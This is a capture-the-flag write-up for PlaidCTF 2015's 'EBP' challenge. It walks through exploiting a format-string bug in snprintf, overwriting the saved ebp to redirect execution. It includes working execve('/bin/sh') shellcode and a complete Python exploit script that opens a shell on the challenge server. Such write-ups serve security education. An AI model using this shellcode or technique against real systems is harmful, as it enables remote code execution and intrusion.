[关闭]
@pnck 2015-09-08T14:34:39.000000Z 字数 2827 阅读 2120

PlaidCtf-2015 [EBP] Writeup

writeup


Category: Pwnable
Points: 160
Solves: 157
Description:

nc 52.6.64.173 4545

Download: %p%o%o%p.

check if it is x86 or x64:

$ file ebp_a96f7231ab81e1b0d7fe24d660def25a.elf ebp_a96f7231ab81e1b0d7fe24d660def25a.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped

checksec:

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial

32-bit binary with nx disabled, means that we can execute shellcode.
Analyze it with IDA, the assembly shows its very simple structure.There are only 3 functions totally:
main -> echo -> make_response
main() reads your input into a buffer sizing 1024 bytes, and call echo() to output it, in which the function calls make_response where lies a format string vulnerability:

  1. .text:080484FD 000 push ebp
  2. .text:080484FE 004 mov ebp, esp
  3. .text:08048500 004 sub esp, 18h
  4. .text:08048503 01C mov dword ptr [esp+8], offset buf ; format
  5. .text:0804850B 01C mov dword ptr [esp+4], 1024 ; maxlen
  6. .text:08048513 01C mov dword ptr [esp], offset response ; s
  7. .text:0804851A 01C call _snprintf
  8. .text:0804851F 01C leave
  9. .text:08048520 000 retn

snprintf uses the input buffer directly as the format parameter, so here we can use %n to write any data. Since we can write shellcode, of course the best way is to control the flow jumping to our own shellcode.

And we notice that make_response() saved the ebp of echo() frame, so an amazing way is to modify the ebp of echo(), which is referenced in make_response() frame, to pointing to the echo()'s returning address, then use this new ebp value as the pointer (for %n) to hijack the flow returning to our shellcode.

When passing shellcode by a c-style string, dead chars such as '\0' '\n' can't exisit. So I wrote this shellcode which modify itself to get rid of dead chars.

  1. ;shellcode.asm
  2. ;__NR_execve 11
  3. ;2F 62 69 6E 2F 73 68 FF -> /bin/sh 0xff
  4. push 0xff68732f
  5. push 0x6e69622f ;param string
  6. lea ebx, [esp] ;ebx -> calling
  7. xor eax, eax
  8. mov byte[ebx+7], al ;fill a \0
  9. push eax
  10. push ebx ;stack: [sz][0][sz]
  11. mov ecx, esp ;ecx->the same
  12. lea edx, [ecx+4] ;edx->0
  13. add eax, 11
  14. int 0x80
  15. xor eax, eax
  16. inc eax
  17. xor ebx, ebx
  18. int 0x80
  1. $ nasm -f elf32 -o shellcode.o shellcode.asm && objdump -d shellcode.o | grep '^ ' | cut -f2
  2. 68 2f 73 68 ff
  3. 68 2f 62 69 6e
  4. 8d 1c 24
  5. 31 c0
  6. 88 43 07
  7. 50
  8. 53
  9. 89 e1
  10. 8d 51 04
  11. 83 c0 0b
  12. cd 80
  13. 31 c0
  14. 40
  15. 31 db
  16. cd 80

Copy this to a text editor and replace all spaces with "\x", then we can get our final exp:

  1. #!/usr/bin/env python2.7
  2. #encoding:utf-8
  3. from zio import *
  4. shellcode = '\x68\x2F\x73\x68\xFF\x68\x2F\x62\x69\x6E\x8D\x1C\x24\x31\xC0\x88\x43\x07\x50\x53\x89\xE1\x8D\x51\x04\x83\xC0\x0B\xCD\x80\x31\xC0\x40\x31\xDB\xCD\x80'
  5. clen = len(shellcode)
  6. target = ('52.6.64.173',4545)
  7. #target = ('./ebp_a96f7231ab81e1b0d7fe24d660def25a.elf')
  8. io = zio(target,timeout=500,print_read=COLORED(REPR,'cyan'),print_write=COLORED(REPR,'red'))
  9. io.writeline('%4$p') #return addr
  10. pWrite = int(io.read(10),16)
  11. pWrite += 4
  12. pWrite &= 0x0000ffff #only low bits
  13. pl = '%%%dc%%4$hn' % (pWrite,) #write ebp to pointing ret and fill shellcode
  14. io.writeline(pl)
  15. pl = shellcode + '%%%dc%%12$hn' % (41088-clen,)
  16. raw_input("debuging...")
  17. io.writeline(pl)
  18. io.interact()
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注